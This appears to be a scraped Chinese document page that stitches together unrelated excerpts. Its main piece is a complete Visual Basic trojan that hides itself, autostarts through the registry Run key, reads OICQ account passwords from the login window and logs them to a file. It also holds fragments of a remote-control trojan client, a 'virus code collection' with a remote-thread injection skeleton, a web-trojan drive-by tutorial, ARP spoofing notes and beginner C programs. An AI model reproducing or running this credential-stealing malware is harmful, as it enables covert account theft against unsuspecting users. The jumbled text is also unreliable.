木马源代码

木马源代码
木马源代码

木马源代码

在 VB 中使用窗口函数截取 OICQ 帐号密码

武汉艾军

摘要本文简单介绍如何采用 Visual Basic 语言,利用窗口函数截取 OICQ 帐号密码,并以此说明 OICQ 存在安全隐串。

关键字密码,窗口函数,即时监视

一、引言

OICQ 从无到有,现在可以说中国的每一个网吧都装有 OICQ,每一个上过网的人都用过 OICQ,那么 OICQ 的加密功能倒底怎么样呢, OICQ 版本从低到高,其加密功能也越来越强,现在破解OICQ 密码的方法大致有:穷举法、直接读取密码文件两种。

先说穷举法,对于这种方法 OICQ 的各个版本,可以说都没有任何的防范的方法,也许他们认为这种破解方法不伤大雅,只要用户在使用 OICQ 时,把密码设长些就可以。现在像用穷举法进行OICQ 密码破解的软件已非常多了,所以破解的原理也就不多说了。

再说直接读取密码文件,现在 OICQ 的加密越来越强,要用这种方法可以花上不少的功夫,而且在网吧上网的人,都有离开时,删除自己 OICQ 号目录的习惯,因此有时这种方法根本无能为力。最后要说的,就是即时监视法,也就是本文章要介绍的,通过窗口函数取得密码的方法(适用任何版本的 OICQ)。

二、设计思路

我们知道 OICQ 的密码框并没有进行特别的处理,也就是说用可以通过 SendMessage 发送

WM_GETTEXT 取得密码框中的值,

我们可以利用这一点来完成密码的截取,具体请看下面:

使用 Timer 控件,监视 OICQ。

用遍查窗口的方法(EnumWindows),

取得所有的窗口标题(GetWindowText),

判断其中是否为"OICQ用户登录"的标题,

取得 OICQ 登录窗口的子窗口(窗口上的控件)

的类名(GetClassName),

然后通过 ComboBox、Edit 取得用户名和密码

(通过 SendMessage 发送 WM_GETTEXT 取得值)。

由于不能判断外部按键事件的发生,只有通过不断的取得密码值,

具体方法如下:

首先取得用户名的值,

然后不停的取密码的值,

再判断窗口的标题是否为用户名,如果为用户名,

则最后一次密码的值就是真正的密码,到此程序完成。

三、程序编制(完整的程序代码和注释)

(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。

声明变量、过程及 API 函数,写在 Module1.bas 文件中

Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lp Name As String) As Long '创建一个新的文件映射对象

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '

关闭一个内核对象

Type SECURITY_ATTRIBUTES

nLength As Long

lpSecurityDescriptor As Long

bInheritHandle As Long

End Type

Const PAGE_READWRITE = 1

Const ERROR_ALREADY_EXISTS = 183&

建立判断程序是否多启动的过程

Sub Main()

Dim ynRun As Long

Dim sa As SECURITY_ATTRIBUTES

sa.bInheritHandle = 1

sa.lpSecurityDescriptor = 0

sa.nLength = Len(sa)

ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件

If (https://www.360docs.net/doc/eb14676283.html,stDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出

CloseHandle ynRun '退出程序前关闭内存映射文件

End

End If

End Sub

(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法

声明变量、过程及 API 函数,写在 Module1.bas 文件中

Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项

Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值

Const HKEY_LOCAL_MACHINE = &H80000002

Const REG_SZ = 1

建立使程序自启动的过程

Sub AutoRun()

Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String

Dim Ret As Integer, lphKey As Long

sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看

sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序

Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项

Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值

End Sub

(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。

声明变量、过程及 API 函数,写在 Module1.bas 文件中

Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Const RSP_SIMPLE_SERVICE = 1 '隐藏

建立实现程序自身在关闭程序对话框中的隐藏的过程

Sub HideMyWin()

RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE

End Sub

(4)即时监视是否运行了 OICQ

加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。

Private Sub Timer1_Timer()

EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序

End Sub

声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中

Option Explicit

Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口

Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题

Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄

Const GW_CHILD = 5 '寻找源窗口的第一个子窗口

Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口

Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _

wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息

Const WM_GETTEXT = &HD

Const WM_GETTEXTLENGTH = &HE

Dim buf As String

Dim nameall, name, passwordall, password As String

Dim i As Integer

Dim title, titleall, filepath As String

Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口

Dim buf As String * 1024

Dim length As Long

filepath = App.Path & "\0.txt" '0.txt 为保存帐号、密码的文件

If Dir(filepath) = "" Then

title = ""

titleall = ""

End If

length = GetWindowText(app_hwnd, buf, Len(buf))

title = Left$(buf, length) '取得窗口的标题

If InStr(title, "OICQ用户登录") Then '判断是否为 OICQ 窗口

Call GetZiWin(app_hwnd) '调用(5),取得 OICQ 窗口中的帐号、密码框的类名

End If

If title <> "" Then

If InStr(titleall, title) Then

EnumProc = 1

Else

titleall = titleall + title 'title 是指取得的窗口标题

If name <> "" Then '取得的帐号

If InStr(title, name) Then SaveFile '保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)

End If

End If

End If

EnumProc = 1

End Function

(5)取得 OICQ 窗口中的用户名、密码框的类名

自定义取得子窗口类名的函数,写在 Module1.bas 文件中

我们知道 OICQ 主窗口的用户名的类名是 ComboBox,密码框的类名是 Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。

Public Function GetZiWin(window_hwnd As Long) As String

Dim buflen As Long

Dim child_hwnd As Long

Dim children() As Long

Dim num_children As Integer

Dim i As Integer

'取得类名

buflen = 256

buf = Space$(buflen - 1)

buflen = GetClassName(window_hwnd, buf, buflen)

buf = Left$(buf, buflen)

If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '进行判断

GetZiWin = GetWinText(window_hwnd) '调用(6),取得它们的值

Exit Function

End If

num_children = 0

child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄

Do While child_hwnd <> 0 '如果有子窗口

num_children = num_children + 1

ReDim Preserve children(1 To num_children)

children(num_children) = child_hwnd

child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄 Loop

For i = 1 To num_children

Call GetZiWin(children(i))

Next i

End Function

(6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值

自定义取得子窗口的值的函数,写在 Module1.bas 文件中

Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值

Dim txtlen As Long

Dim txt As String

'通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值

GetWinText = ""

If window_hwnd = 0 Then Exit Function

txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)

If txtlen = 0 Then Exit Function

txtlen = txtlen + 1

txt = Space$(txtlen)

txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)

GetWinText = Left$(txt, txtlen)

If buf = "ComboBox" Then

name = GetWinText

If InStr(nameall, name) Then

i = 0

Else

nameall = nameall + name

i = i + 1

End If

Else

password = GetWinText

If InStr(passwordall, password) Then

i = 0

Else

passwordall = passwordall + password

i = i + 1

End If

End If

End Function

(7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。

自定义保存信息的过程,写在 Module1.bas 文件中

Sub SaveFile()

Dim file_num As Integer

Dim allstr As String

allstr = name & Space(5) & password & Space(5) & Now '保存帐号、密码、启动的时间

file_num = FreeFile

If Dir(filepath) = "" Then

Open filepath For Output As #file_num

Else

Open filepath For Append As #file_num

End If

Print #file_num, allstr

Close #file_num

End Sub

(8)到些为此程序全部完成,大家可把它编译为 KillOicq.exe 试一试。

四、程序补充:

(1)我这里用的是遍查窗口的方式,取得窗口标题,大家也可用其他的窗口函数试试,我想应该会更好。

(2)在程序编制(4)中,顺利取得帐号、密码的判断,希望大家多看几遍,多试试,这一部分的代码我感觉没有写好,希望大家能够正确理解。

(5)由于使用的是监视法,因此比较耗系统资源,这样在配置较低的机器上,容易被别人发现,大家可对程序代码进行优化,使它占用的系统资源少点。

五、程序说明:

使用此软件后,在每次系统启动时该软件都会运行,监视 OICQ,当你打开 OICQ ,并输入密码,则该软件在软件所在目录记录里记下你的 OICQ 帐号和密码,并保存在 0.txt 文件里,你只要双击 0.txt 文件就能看到帐号、密码。

六、补充说明

本程序在 VB5.0、Win98 环境下运行正常,作者通过此程序并不是让用户窃取别

认识木马与“病毒

“木马”的工作原理 由于很多新手对安全问题了解不多,所以并不知道自己的计算机中了“木马”该怎么样清除。虽然现在市面上有很多新版杀毒软件都可以自动清除“木马”,但它们并不能防范新出现的“木马”程序,因此最关键的还是要知道“木马”的工作原理,这样就会很容易发现“木马”。相信你看了这篇文章之后,就会成为一名查杀“木马”的高手了。 网络安全技术 木马查杀 网络安全知识 黑客软件 网络安全培训 黑客技术 “木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、 ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈“木马”是怎样自动加载的。 网络安全|木马清除|电脑病毒|黑客技术|黑客软件电+脑*维+修-知.识_网(w_ww*dnw_xzs*co_m) DLL木马 要了解DLL木马,就必须知道这个“DLL”是什么意思,所以,让我们追溯到几年前,DOS系统大行其道的日子里。在那时候,写程序是一件繁琐的事情,因为每个程序的代码都是独立的,有时候为了实现一个功能,就要为此写很多代码,后来随着编程技术发展,程序员们把很多常用的代码集合(通用代码)放进一个独立的文件里,并把这个文件称为“库”(Library),在写程序的时候,把这个库文件加入编译器,………DLL木马就是把一个实现了木马功能的代码,加上一些特殊代码写成DLL文件,导出相关的API,在别人看来,这只是一个普通的DLL,但是这个DLL却携带了完整的木马功能,这就是DLL木马的概念。也许有人会问,既然同样的代码就可以实现木马功能,那么直接做程序就可以,为什么还要多此一举写成DLL呢?这是为了隐藏,因为DLL运行时是直接挂在调用它的程序的进程里的,并不会另外产生进程,所以相对于传统EXE木马来说,它很难被查到。电+脑*维+修-知.识_网 .网络安全|木马清除|电脑病毒|黑客技术|黑客软件(w_ww*dnw_xzs*co_m) 病毒名区别和标识病毒 很多时候大家已经用杀毒软件查出了自己的机子中了例如 Backdoor.RmtBomb.12 、Trojan.Win32.SendIP.15 等等这些一串英文还带数字的病毒名,这时有些人就懵了,那么长一串的名字,我怎么知道是什么病毒啊?

木马编程系列

木马编程系列 今天我为大家讲如何用VB编写"木马"程序 木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给 攻击对象用的,千万不可用错了----给自己种马的人 0 客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序cockhorseserver,另一个为 客户端程序cockhorseclient. 先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来 输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化. 代码我写下: Private Sub Command1_Click() '调用connect方法,初始化连接. tcpclient.RemoteHost = ipinput.Text tcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001 tcpclient.Connect '和指定的IP相对的计算机相连接 cmdconnect.Enabled = False End Sub (在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作. Private Sub tcpclient_dataArrival(ByVal bytestotal As Long) Dim strdata As String tcpclient.GetData strdata If strdata = "test connect" Then tcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" + -tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " + tcpclient.remotehostname If InStr(Trim(strdata), "closeOK?") > 0 Then tcpclient.Close End If End If txtoutput.Text = txtouput.Text + vbNewLine + tcpclient.RemoteHostIP + ": " + strdata End Sub

木马攻击常用名词解释

目录 1. IPS IDS IRS (2) 2.攻击 (3) 3. 80端口 (3) 4. 404 (4) 5. Application Firewall (4) 6. SHELL (5) 8. ISP/ICP (8) 9. IIS (9) 10.SQL注入 (9) 11.XSS攻击 (10) 12.DDOS攻击 (11) .

1.IPS IDS IRS 入侵预防系统(IPS: Intrusion Prevention System)是电脑网路安全设施,是对防病毒软体(Antivirus Programs)和防火墙(Packet Filter, Application Gatew ay)的补充。入侵预防系统(Intrusion-prevention system)是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。 在ISO/OSI网路层次模型(见OSI模型) 中,防火墙主要在第二到第四层起作用,它的作用在第四到第七层一般很微弱。而除病毒软体主要在第五到第七层起作用。为了弥补防火墙和除病毒软体二者在第四到第五层之间留下的空档,几年前,工业界已经有入侵侦查系统(IDS: Intrusion Detection System)投入使用。入侵侦查系统在发现异常情况后及时向网路安全管理人员或防火墙系统发出警报。可惜这时灾害往往已经形成。虽然,亡羊补牢,尤未为晚,但是,防卫机制最好应该是在危害形成之前先期起作用。随后应运而生的入侵反应系统(IRS: Intrusion Response Systems) 作为对入侵侦查系统的补充能够在发现入侵时,迅速作出反应,并自动采取阻止措施。而入侵预防系统则作为二者的进一步发展,汲取了二者的长处。 入侵预防系统类型 投入使用的入侵预防系统按其用途进一步可以划分为 (HIPS: Hostbased Intrusion Prevension System) 单机入侵预防系统和 (NIPS: Network Intrusion Prevension System)网路入侵预防系统 网路入侵预防系统作为网路之间或网路组成部分之间的独立的硬体设备,切断交通,对过往包裹进行深层检查,然后确定是否放行。网路入侵预防系统藉助病毒特征和协议异常,阻止有害代码传播。有一些网路入侵预防系统还能够跟踪和标记对可疑代码的回答,然后,看谁使用这些回答信息而请求连接,这样就能更好地确认发生了入侵事件。 根据有害代码通常潜伏于正常程序代码中间、伺机运行的特点,单机入侵预防系统监视正常程序,比如Internet Explorer,Outlook,等等,在它们(确切地说,其实是它们所夹带的有害代码)向作业系统发出请求指令,改写系统文件,建立对外连接时,进行有效阻止,从而保护网路中重要的单个机器设备,如伺服器、路由器、防火墙等等。这时,它不需要求助于已知病毒特征和事先设定的安全规则。总地来说,单机入侵预防系统能使大部分钻空子行为无法得逞。我们知道,入侵是指有害代码首先到达目的地,然后干坏事。然而,即使它侥幸突破防火墙等各种防线,得以到达目的地,但是由于有了入侵预防系统,有害代码最终还是无法起到它要起的作用,不能达到它要达到的目的。

c语言程序代码

1.要求在屏幕上输出下一行信息。 This is a c program. 程序: #include int main() { printf(“this is a c program.\n”); return 0; } 2.求两个整数之和。 程序: #include int main() { int a,b,sum; a=122; b=234; sum=a+b; printf(“sum is %d\n”,sum); return 0; } 3.求两个整数之间的较大者。

#include int main() { int max(int x,int y); int a,b,c; scanf("%d,%d",&a,&b); c=max(a,b); printf("max=%d\n",c); return 0; } int max(int x,int y) { int z; if(x>y)z=x; else z=y; return(z); } 4.有人用温度计测量出华氏发表示的温度(如69°F),今要求把 她转换成以摄氏法表示的温度(如20℃)。 公式:c=5(f-32)/9. 其中f代表华氏温度,c代表摄氏温度。

#include int main() { float f,c; f=64.0; c=(5.0/9)*(f-32); printf("f=%f\nc=%f\n",f,c); return 0; } 5.计算存款利息。有1000元,想存一年。有一下三种方法可选: (1)活期:年利率为r1;(2)一年定期:年利率为r2;(3)存两次半年定期:年利率为r3。分别计算一年后按三种方法所得到的本息和。 程序: #include int main() { float p0=1000,r1=0.0036,r2=0.0225,r3=0.0198,p1,p2,p3; p1=p0*(1+r1); p2=p0*(1+r2);

C语言实现ARP攻击(附源码)

信息安全原理 ——ARP攻击班级:07计算机1班姓名:胡益铭学号:E07620112 ARP原理: ARP,即地址解析协议,实现通过IP地址得知其物理地址。在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。这样就存在把IP 地址变换成物理地址的地址转换问题。以以太网环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址。这就需要在互连层有一组服务将IP地址转换为相应物理地址,这组协议就是ARP协议。 ARP数据报格式如下: 什么是ARP欺骗: 其实,此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。ARP欺骗攻击已经成了破坏网吧经营的罪魁祸首,是网吧老板和网管员的心腹大患。从影响网络连接通畅的方式来看,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。 本程序基于C语言,利用winpacp实现往局域网内发自定义的包,以达到ARP欺骗的目的。 首先从https://www.360docs.net/doc/eb14676283.html,/archive/下载4.0beta1-WpdPack和4.0beta1-WinPcap.exe,版本很多,不过最新版本需要64位的系统,本人32位系统用不了。 直接点击4.0beta1-WinPcap.exe安装,然后在C:\Program Files\WinPcap下打开rpcapd.exe 服务。 然后在VC中,Tools→Options→Directories下配置include和library,将4.0beta1-WpdPack 中的include和library库包含进去,本人把4.0beta1-WpdPack放在D盘根目录下,结果如下:

C语言源代码

剪刀石头布源代码 #include #include main() { int d,x; { printf("请输入:1是剪刀,2是石头,3是布"); scanf("%d",&d); x=rand()%3; if(d==x) printf("双方平局"); else if((d==1&&x==2)||(d==2&&x==3)||(d==3&&x==1)) printf("你赢了"); else printf("电脑赢了"); } }

简单计算器 #include main() { int a,b,d=0; char c; while(d==0) { printf("请开始计算,请输入需要运算的数字和运算法则,数字符号数字:"); scanf("%d%c%d",&a,&c,&b); switch(c) { case'+': printf("%d+%d=%d\n",a,b,a+b); break; case'-': printf("%d-%d=%d\n",a,b,a-b); break; case'*': printf("%d*%d=%d\n",a,b,a*b); break; case'/': if(0==b) printf("除法被除数不能为零!\n") ; else printf("%d/%d=%d\n",a,b,a/b); break; } } }

加油站加油问题 #include int main() { double a = 3.25, b = 3.00, c= 2.75; double d = 0.05, e = 0.10, m; int x,y,z; printf("请输入您要的加油量:"); scanf("%d",&x); printf("请输入您要的汽油种类,1-a型汽油售价3.25元/千克,2-b型汽油售价3.00元/千克,3-c型汽油售价2.75元/千克:"); scanf("%d",&y); printf("请输入您要的服务类型,1-自己加服务优惠0.05,2-协助加服务优惠0.10:"); scanf("%d",&z); switch(y) { case 1: y = a;break; case 2: y = b;break; case 3: y = c;break; } if(z == 1) m = (1 - d) * y * x; else if(z == 2) m = (1 - e) * y * x; printf("您需要支付:%f 元,谢谢惠顾,欢迎下次再来",m); return 0; }

病毒代码大全

制造木马病毒代码大全2008-06-08 19:46 制造木马病毒代码大全一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可 以.....#include #pragma comment(lib,"ws2_32.lib") #include #include #pragma comment(lib,"Shlwapi.lib") #include #include #include //参数结构; typedef struct _RemotePara { DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwWSAStartup; DWORD dwSocket; DWORD dwhtons; DWORD dwbind; DWORD dwlisten; DWORD dwaccept; DWORD dwsend; DWORD dwrecv; DWORD dwclosesocket; DWORD dwCreateProcessA; DWORD dwPeekNamedPipe; DWORD dwWriteFile; DWORD dwReadFile; DWORD dwCloseHandle; DWORD dwCreatePipe; DWORD dwTerminateProcess; DWORD dwMessageBox; char strMessageBox[12]; char winsockDll[16]; char cmd[10]; char Buff[4096]; char telnetmsg[60]; }RemotePara; // 提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 根据进程名称得到进程ID DWORD GetPidByName(char *szName); // 远程线程执行 体DWORD __stdcall ThreadProc(RemotePara *Para)

C语言程序设计 入门源代码代码集合

#include <> void print_star(void) { printf("*****************\n"); } void print_welcome(void) { printf("C language,welcome!\n"); } void main() { print_star(); print_welcome(); print_star(); getchar(); } 演示2 #include "" int sum(int i,int j) { return(i + j); } void main() { int n1,n2; printf("input 2 numbers:\n"); scanf("%d%d",&n1,&n2); printf("the sum = %d\n",sum(n1,n2)); getchar(); } 演示3 #include "" int maxnum(int,int,int); main() { int a,b,c; printf("Please enter 3 numbers:\n"); scanf("%d,%d,%d",&a,&b,&c); printf("Maxnum is %d\n",maxnum(a,b,c)); return 0;

} int maxnum(int x,int y,int z) { int max=x; if(y>max) max = y; if(z>max) max = z; return max; } 演示4 #include <> int s1(int n) { int j,s; s=0; for(j=1;j<=n;j++) s=s+j; return s; } int sum(int n) { int i,s=0; for(i=1;i<=n;i++) s=s+s1(i); return s; } void main() { int n; printf("n:"); scanf("%d",&n); printf("s=%d\n",sum(n)); } 演示5 #include <>

C语言程序设计-入门源代码代码集合

演示1 #include void print_star(void) { printf("*****************\n"); } void print_welcome(void) { printf("C language,welcome!\n"); } void main() { print_star(); print_welcome(); print_star(); getchar(); } 演示2 #include "stdio.h" int sum(int i,int j) { return(i + j); } void main() { int n1,n2; printf("input 2 numbers:\n"); scanf("%d%d",&n1,&n2); printf("the sum = %d\n",sum(n1,n2)); getchar(); } 演示3 #include "stdio.h" int maxnum(int,int,int); main() { int a,b,c; printf("Please enter 3 numbers:\n"); scanf("%d,%d,%d",&a,&b,&c); printf("Maxnum is %d\n",maxnum(a,b,c));

return 0; } int maxnum(int x,int y,int z) { int max=x; if(y>max) max = y; if(z>max) max = z; return max; } 演示4 #include int s1(int n) { int j,s; s=0; for(j=1;j<=n;j++) s=s+j; return s; } int sum(int n) { int i,s=0; for(i=1;i<=n;i++) s=s+s1(i); return s; } void main() { int n; printf("n:"); scanf("%d",&n); printf("s=%d\n",sum(n)); } 演示5

网页木马制作全过程(详细)

如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页,经检查,我确实中了灰鸽子。怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。 有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示:代码说明 a. 代码中“src”的属性为程序的网络地址,本例中 “https://www.360docs.net/doc/eb14676283.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去,但免费空间出于安全的考虑,多数不允许上传exe文件,黑客可能变通一下把扩展名exe改为bat或com,这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的…之间(如图1),然后用没打补丁的IE6打开,接下来,打开IE的临时目录

一些比较简c语言程序源代码

/**返回的long型的最大值是startLongValue+count-1(产生一个随机数) * param needCount * param count * param startLongValue * return */ public static List randomNoRepeatLongArray(int needCount,int count,long startLongValue){ //这种情况会出现无限循环的 if(needCount>count) return null; Random random = new Random(); int[] ints = new int[count]; for(int i=0;i list = new ArrayList(); while(list.size() #include #include

木马病毒的简介和基本分类

木马病毒的简介和基本分类 什么是木马(Trojan) 木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。 “木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任 木马病毒 意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。 它是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是客户端,即控制端,另一个是服务端,即被控制端。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了!木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。 随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。 木马病毒-木马的种类 1、普通的以单独EXE文件执行的木马 2、进程插入式木马 3、Rootkit类 4、其他

郝斌C语言详细笔记(附源码)

郝斌老师的C语言:课堂讲解全程动手敲代码,讲解细致,对于重要知识点的讲解不厌其烦,是一个难得的C语言入门教程。在这里对老师的辛勤付出表示感谢。 郝斌c语言视频教程 · 概述: 课程计划 为什么学习c语言: Fortran语言主要用于科学计算,在第三代语言中,以1980年为分水岭,分为结构化和面向对象语言。Basic语言是vb的前生,pascal语言一般是用于教学。C语言是最重要的,其他的语言一般很少用了。结构化的代表语言是c语言。结构化语言的数据和操作是分离的,导致在写大项目的时候,会出现各种各样莫名其妙的问题。 在面向对象的语言中c++是最复杂的语言。由于c++语言太复杂,sun公司对c++进行了改装,产生了java语

言。而c#是由微软开发的,和java相似,几乎一模一样。 在高级语言的执行速度上,c是最快的,c++其次,而java 和c#是最后的。Java和c#流行,主要的一个原因是可以跨平台。 C语言的发展和过程:

C语言的特点: ·优点:代码量小,速度快,功能强大。 ·缺点:危险性高,开发周期长,可移植性弱。 危险性高:写同一个程序,在java中会报错,而在c中不会报错,为什么呢,因为c认为程序你想怎么写就怎么写,c语言认为你写的程序不是很离谱,他都认为你写的这个程序有特殊的含义。可以直接通过,而java 则不可以。 开发周期长:c语言是面向过程的语言,面向过程的语言的特点就是在开发大项目的时候,很容易崩溃,好比盖大楼,C语言还要造大量的砖块、钢筋等结构原材料,而C++ C# JAVA则进行了一定的继承封装等操作,相当于原材料直接给你,你只需要用它盖楼即可。 现在市场上的语言分三块

纯C语言写的一个小型游戏-源代码

